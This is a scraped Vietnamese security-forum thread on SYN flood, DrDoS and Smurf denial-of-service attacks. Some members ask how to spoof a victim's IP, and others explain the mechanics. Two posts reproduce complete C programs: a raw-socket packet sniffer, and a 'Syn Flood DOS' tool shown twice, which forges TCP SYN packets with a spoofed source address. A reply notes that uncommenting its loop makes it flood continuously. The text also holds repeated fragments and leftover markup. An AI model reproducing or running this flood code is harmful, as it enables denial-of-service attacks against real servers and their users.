Có cần anh attach luôn cái source anh Save của Th3 W@tch3r không. Lần sau nói linh tinh anh xoá bài đấy.Không, he he :mrgreen: :mrgreen: Em nói đùa đấy mà. Thôi lần sau em không ăn nói linh tinh nữa. Đúng là em hay phát biểu vớ vẩn thật. he he]]>
Mulan wrote:Giảm bớt chit chat dùm. Trong box kỹ thuật không nên í a, í ới. Cảnh cáo lần thứ nhất đấy nha.]]>
Có cần anh attach luôn cái source anh Save của Th3 W@tch3r không. Lần sau nói linh tinh anh xoá bài đấy.Không, he he :mrgreen: :mrgreen: Em nói đùa đấy mà. Thôi lần sau em không ăn nói linh tinh nữa. Đúng là em hay phát biểu vớ vẩn thật. he he
vậy có cách nào hạn chế số lần request của server khi trở thành victim tới 1 ip để tránh tình trạng thành cấp số nhân ( server request tới 1 ip nhiều lần !) hoặc cách nào khác có thể giới hạn số ip cùng truy cập trên 1 thời điểm ! anh em nào đi trước mong chỉ giáoBạn xem tại đây http://www.htmlforum.net/hvaonline/posts/list/1885.html Thân ]]>
Server nghĩ rằng packet bị thất lạc nên lại tiếp tục gửi tiếp SYN/ACK packet, cứ như thế, connection tiếp tục mở. Nếu như Hacker tiếp tục gửi nhiều SYN packet đến Server và cuối cùng Server đã không thể tiếp nhận thêm 1 connection nào nữa : Server đã bị flood.]]>
Cho em thắc mắc một chút,nếu tất cả các package mang cờ SYN/ACK gửi tới máy victim,ở đây khoan nói đến việc đầy nghẽn "small pipe" đã,vậy máy victim sẽ xử lý như thế nào với các package này? Theo như suy luận của em thì máy victim khi nhận những package ngoài mong muốn này nó sẽ biết ko phải là của nó nên nó sẽ bỏ qua( vì trong bộ nhớ của nó đâu có hàng đợi khi truyền cờ SYN đâu). Như vậy vấn để ở đây có phải cách tấn công này đá văng máy victim ra khỏi internet là do đường truyền bị chiếm dụng không anh? Và nếu đúng như vậy thì cách tấn công này phải ánh xạ từ những server cực mạnh và số lượng lớn thì mới có tác dụng chứ hả anh Mulan?Không phải hệ điều hành nào cũng xử lý các gói SYN/ACK gọn gàng và nhanh chóng (bỏ qua) được. Hơn nữa, để "bỏ qua", hệ điều hành vẫn phải xác minh nó là cái gì rồi mới "bỏ qua" và làm như thế vẫn hao tổn tài nguyên. Nếu số lượng SYN/ACK đi vào quá nhiều, nó vẫn có thể dung hoà (saturate) đường dẫn khiến cho các truy cập khác không thể nào đến được máy của nạn nhân. Tấn công "ánh xạ" này không cần phải đi từ những server cực mạnh mà chỉ cần gởi càng nhiều spoofed packets đến các routers càng tốt để chúng dội ngược lại nạn nhân.]]>
cái này thì mình biết rồi nhưng cách thực hiện nó mới là điều quan trọng ??? B-) anh nào pro cho em hỏi 2 vấn đề liên quan đến nó 1>dùng cộng cụ nào để giả mạo thành ip của victim B-) 2>gửi một gói đến sever như thế nào<tcp/ip em chưa biết gì cả mong mấy anh chỉ cho và học nó ở trang nào> B-)Câu phát biểu mâu thuẩn thật sự. Góp ý về sự nâng câu hiểu biết bằng cách siêng năng đọc diễn đàn. Đọc "Ở đâu" thì nên bắt đầu (hoặc nếu không muốn bắt đầu) tìm hiểu phòng đọc và "cứ ngồi mà đọc để biết những gì mình không biết".]]>
đọc cai gì mà đọc hả ông anh mấy cái liên quan đến cái này máy ông amid không cho phép post đâu ông anh ak <đọc bằng niềm tin> :-)Ai bảo cậu là mấy admin ko cho phép post. vấn đề là không có ai thèm post thôi. vì post ra rồi lại có thêm mấy cu cậu script kiddie mang ra nghịch ngợm linh tinh rồi chẳng đâu vào đâu. vì nếu mà ở mục đích hiểu biết thì người ta sẽ tự đọc sách và tìm hiểu lấy chứ không có time lên hỏi dùng tool nào để giả mạo ip hay là làm thế nào để gửi request đến server. tôi thấy cậu nên tìm cái quyển sách nào mà ngồi đọc thì hay hơn là suốt ngày lượn quanh mấy cái 2pic DrDos rồi post những bài kiểu này.]]>
#include<stdio.h> #include<stdlib.h> #include<sys/socket.h> #include<features.h> #include<linux/if_packet.h> #include<linux/if_ether.h> #include<errno.h> #include<sys/ioctl.h> #include<net/if.h> int CreateRawSocket(int protocol_to_sniff) { int rawsock; if((rawsock = socket(PF_PACKET, SOCK_RAW, htons(protocol_to_sniff)))== -1) { perror("Error creating raw socket: "); exit(-1); } return rawsock; } int BindRawSocketToInterface(char *device, int rawsock, int protocol) { struct sockaddr_ll sll; struct ifreq ifr; bzero(&sll, sizeof(sll)); bzero(&ifr, sizeof(ifr)); /* First Get the Interface Index */ strncpy((char *)ifr.ifr_name, device, IFNAMSIZ); if((ioctl(rawsock, SIOCGIFINDEX, &ifr)) == -1) { printf("Error getting Interface index !\n"); exit(-1); } /* Bind our raw socket to this interface */ sll.sll_family = AF_PACKET; sll.sll_ifindex = ifr.ifr_ifindex; sll.sll_protocol = htons(protocol); if((bind(rawsock, (struct sockaddr *)&sll, sizeof(sll)))== -1) { perror("Error binding raw socket to interface\n"); exit(-1); } return 1; } void PrintPacketInHex(unsigned char *packet, int len) { unsigned char *p = packet; printf("\n\n---------Packet---Starts----\n\n"); while(len--) { printf("%.2x ", *p); p++; } printf("\n\n--------Packet---Ends-----\n\n"); } main(int argc, char **argv) { int raw; unsigned char packet_buffer[2048]; int len; int packets_to_sniff; struct sockaddr_ll packet_info; int packet_info_size = sizeof(packet_info); /* create the raw socket */ raw = CreateRawSocket(ETH_P_IP); /* Bind socket to interface */ BindRawSocketToInterface(argv[1], raw, ETH_P_IP); /* Get number of packets to sniff from user */ packets_to_sniff = atoi(argv[2]); /* Start Sniffing and print Hex of every packet */ while(packets_to_sniff--) { if((len = recvfrom(raw, packet_buffer, 2048, 0, (struct sockaddr*)&packet_info, &packet_info_size)) == -1) { perror("Recv from returned -1: "); exit(-1); } else { /* Packet has been received successfully !! */ PrintPacketInHex(packet_buffer, len); } } return 0; }
/* Syn Flood DOS with LINUX sockets */ #include<stdio.h> #include<netinet/tcp.h> //Provides declarations for tcp header #include<netinet/ip.h> //Provides declarations for ip header typedef struct pseudo_header //needed for checksum calculation { unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; //char tcp[28]; struct tcphdr tcp; }; unsigned short csum(unsigned short *ptr,int nbytes) { register long sum; unsigned short oddbyte; register short answer; sum=0; while(nbytes>1) { sum+=*ptr++; nbytes-=2; } if(nbytes==1) { oddbyte=0; *((u_char*)&oddbyte)=*(u_char*)ptr; sum+=oddbyte; } sum = (sum>>16)+(sum & 0xffff); sum = sum + (sum>>16); answer=(short)~sum; return(answer); } int main (void) { //Create a raw socket int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); //Datagram to represent the packet char datagram[4096]; //IP header struct iphdr *iph = (struct iphdr *) datagram; //TCP header struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip)); struct sockaddr_in sin; struct pseudo_header psh; sin.sin_family = AF_INET; sin.sin_port = htons(80); sin.sin_addr.s_addr = inet_addr ("1.2.3.4"); memset (datagram, 0, 4096); /* zero out the buffer */ //Fill in the IP Header iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr); iph->id = htonl (54321); //Id of this packet iph->frag_off = 0; iph->ttl = 255; iph->protocol = IPPROTO_TCP; iph->check = 0; //Set to 0 before calculating checksum iph->saddr = inet_addr ("192.168.1.2"); //Spoof the source ip address iph->daddr = sin.sin_addr.s_addr; iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1); //TCP Header tcph->source = htons (1234); tcph->dest = htons (80); tcph->seq = 0; tcph->ack_seq = 0; tcph->doff = 5; /* first and only tcp segment */ tcph->fin=0; tcph->syn=1; tcph->rst=0; tcph->psh=0; tcph->ack=0; tcph->urg=0; tcph->window = htons (5840); /* maximum allowed window size */ tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack should fill in the correct checksum during transmission */ tcph->urg_ptr = 0; //Now the IP checksum psh.source_address = inet_addr("192.168.1.2"); psh.dest_address = sin.sin_addr.s_addr; psh.placeholder = 0; psh.protocol = IPPROTO_TCP; psh.tcp_length = htons(20); memcpy(&psh.tcp , tcph , sizeof (struct tcphdr)); tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header)); //IP_HDRINCL to tell the kernel that headers are included in the packet { int one = 1; const int *val = &one; if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) printf ("Warning: Cannot set HDRINCL!n"); } //while (1) //{ //Send the packet if (sendto (s, /* our socket */ datagram, /* the buffer containing headers and data */ iph->tot_len, /* total length of our datagram */ 0, /* routing flags, normally always 0 */ (struct sockaddr *) &sin, /* socket addr, just like in */ sizeof (sin)) < 0) /* a normal send() */ printf ("errorn"); //Data send successfully else printf ("."); //} return 0; }
nếu mà tìm được sách thì đã không phải ngồi hỏi như thế này mất thời gian B-) B-) B-) B-)Sự thiếu(hoặc có khi chẳng biết) về TCP/IP cộng với các kiến thức lập trình và cấu trúc hệ thống thông tin dẫn tới chuyện chẳng biết đọc cái gì cũng như chẳng biết kiếm cái gì để đọc. Thực tế nó vậy, đừng có than làm gì cho mệt. B-) ]]>
Chào các bro. các bro mạn phép cho em hỏi. trong quá trình tấn công SYN thì theo như em nghĩ là nó chỉ là sự kết hợp giữa quá trình bắt tay 3 bước trong phiên TCP/IP. 1 máy chủ tấn công 1 victim thì mình nên liệt vào cho hắn là D-Dos hoặc Dos thôi chứ nếu liệt vào DrDos thì có hơi quá ko? hơn nữa nếu SYN đc liệt vào 1 trong những hình thức tấn công DrDos thì kiểu tấn công Smurf Attack thì thế nào? em nhận thấy kiểu tấn công này còn mạnh hơn cả SYN vì nó phát gói tin cho tất cả các máy cùng trả lời 1 lúc. Các bro thông cảm cho những câu hỏi gà của em ở trên.. :D rất mong các bro giúp đỡ. thank==> Bạn đọc kỹ lại bài viết của anh Mulan để hiểu rõ hơn. SYN attack là một kỹ thuật dùng trong tấn công DOS/DDOS ==> Smuff attack cũng là một hình thức tấn công DDOS dùng gói tin ICMP, muốn cuộc tấn công hiệu quả thì đòi hỏi "mạng khuếch đại" đủ lớn. Tuy nhiên nếu các router trên mạng tắt chức năng Directed Broadcast thì dạng tấn công này không hiệu quả, chưa kể các firewall thường chặn các gói tin ICMP. Vì thế hình thức tấn công này không còn phổ biến. - Ky0 - ]]>
==> Bạn đọc kỹ lại bài viết của anh Mulan để hiểu rõ hơn. SYN attack là một kỹ thuật dùng trong tấn công DOS/DDOS ==> Smuff attack cũng là một hình thức tấn công DDOS dùng gói tin ICMP, muốn cuộc tấn công hiệu quả thì đòi hỏi "mạng khuếch đại" đủ lớn. Tuy nhiên nếu các router trên mạng tắt chức năng Directed Broadcast thì dạng tấn công này không hiệu quả, chưa kể các firewall thường chặn các gói tin ICMP. Vì thế hình thức tấn công này không còn phổ biến. - Ky0 -Cảm ơn bác Kyo. nhưng bác cho em hỏi thêm 1 câu nữa là trong tấn công drdos thì em thấy kiểu tấn công đó rất giống với Smuff attack ở trên.
Vậy bác cho em hỏi là giữa 2 cái này cách thức nó khác nhau như thế nào? em thấy cả 2 cái đều gửi gói tin ICMP cả mà. mong bác giải thick giùm em. chân thành cảm ơnViệc DDoS đâu nhất thiết phải dùng gói tin ICMP, ICMP chỉ là 1 dạng gói tin "đặc biệt" sử dụng trong truyền tải mạng thôi Em tìm hiểu thêm về 3-way Handshake TCP để hiểu hơn về DRDoS em nhé :) ví dụ: http://www.inetdaemon.com/tutorials/internet/tcp/3-way_handshake.shtml còn muốn một tài liệu tiếng Việt thì em ráng lục trong HVA cũng có vài chủ đề thảo luận rất sâu về vấn đề này ]]>
Em post nhầm code. Cái này cơ, xin lỗi vì chức năng sửa bài không hoặt động cho members Code:nếu mình ko nhầm thì cái code này bạn lấy ở site binarytides.com link day http://www.binarytides.com/blog/syn-flood-dos-attack/ cái này sẽ send một SYN packet đến server nào đó với invalid source IP , xài raw socket để tạo ra packet . khi uncomment vòng lặp while thì nó sẽ send packet liên tục hay còn gọi là flood đó xài wireshark capture thấy cũng flood điên cuồng lắm nhưng ko biết bên server thế nào , mình nghĩ cái này để học thôi chứ chắc ko flood đc ai đâu :D]]>
/* Syn Flood DOS with LINUX sockets */ #include<stdio.h> #include<netinet/tcp.h> //Provides declarations for tcp header #include<netinet/ip.h> //Provides declarations for ip header typedef struct pseudo_header //needed for checksum calculation { unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; //char tcp[28]; struct tcphdr tcp; }; unsigned short csum(unsigned short *ptr,int nbytes) { register long sum; unsigned short oddbyte; register short answer; sum=0; while(nbytes>1) { sum+=*ptr++; nbytes-=2; } if(nbytes==1) { oddbyte=0; *((u_char*)&oddbyte)=*(u_char*)ptr; sum+=oddbyte; } sum = (sum>>16)+(sum & 0xffff); sum = sum + (sum>>16); answer=(short)~sum; return(answer); } int main (void) { //Create a raw socket int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); //Datagram to represent the packet char datagram[4096]; //IP header struct iphdr *iph = (struct iphdr *) datagram; //TCP header struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip)); struct sockaddr_in sin; struct pseudo_header psh; sin.sin_family = AF_INET; sin.sin_port = htons(80); sin.sin_addr.s_addr = inet_addr ("1.2.3.4"); memset (datagram, 0, 4096); /* zero out the buffer */ //Fill in the IP Header iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr); iph->id = htonl (54321); //Id of this packet iph->frag_off = 0; iph->ttl = 255; iph->protocol = IPPROTO_TCP; iph->check = 0; //Set to 0 before calculating checksum iph->saddr = inet_addr ("192.168.1.2"); //Spoof the source ip address iph->daddr = sin.sin_addr.s_addr; iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1); //TCP Header tcph->source = htons (1234); tcph->dest = htons (80); tcph->seq = 0; tcph->ack_seq = 0; tcph->doff = 5; /* first and only tcp segment */ tcph->fin=0; tcph->syn=1; tcph->rst=0; tcph->psh=0; tcph->ack=0; tcph->urg=0; tcph->window = htons (5840); /* maximum allowed window size */ tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack should fill in the correct checksum during transmission */ tcph->urg_ptr = 0; //Now the IP checksum psh.source_address = inet_addr("192.168.1.2"); psh.dest_address = sin.sin_addr.s_addr; psh.placeholder = 0; psh.protocol = IPPROTO_TCP; psh.tcp_length = htons(20); memcpy(&psh.tcp , tcph , sizeof (struct tcphdr)); tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header)); //IP_HDRINCL to tell the kernel that headers are included in the packet { int one = 1; const int *val = &one; if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) printf ("Warning: Cannot set HDRINCL!n"); } //while (1) //{ //Send the packet if (sendto (s, /* our socket */ datagram, /* the buffer containing headers and data */ iph->tot_len, /* total length of our datagram */ 0, /* routing flags, normally always 0 */ (struct sockaddr *) &sin, /* socket addr, just like in */ sizeof (sin)) < 0) /* a normal send() */ printf ("errorn"); //Data send successfully else printf ("."); //} return 0; }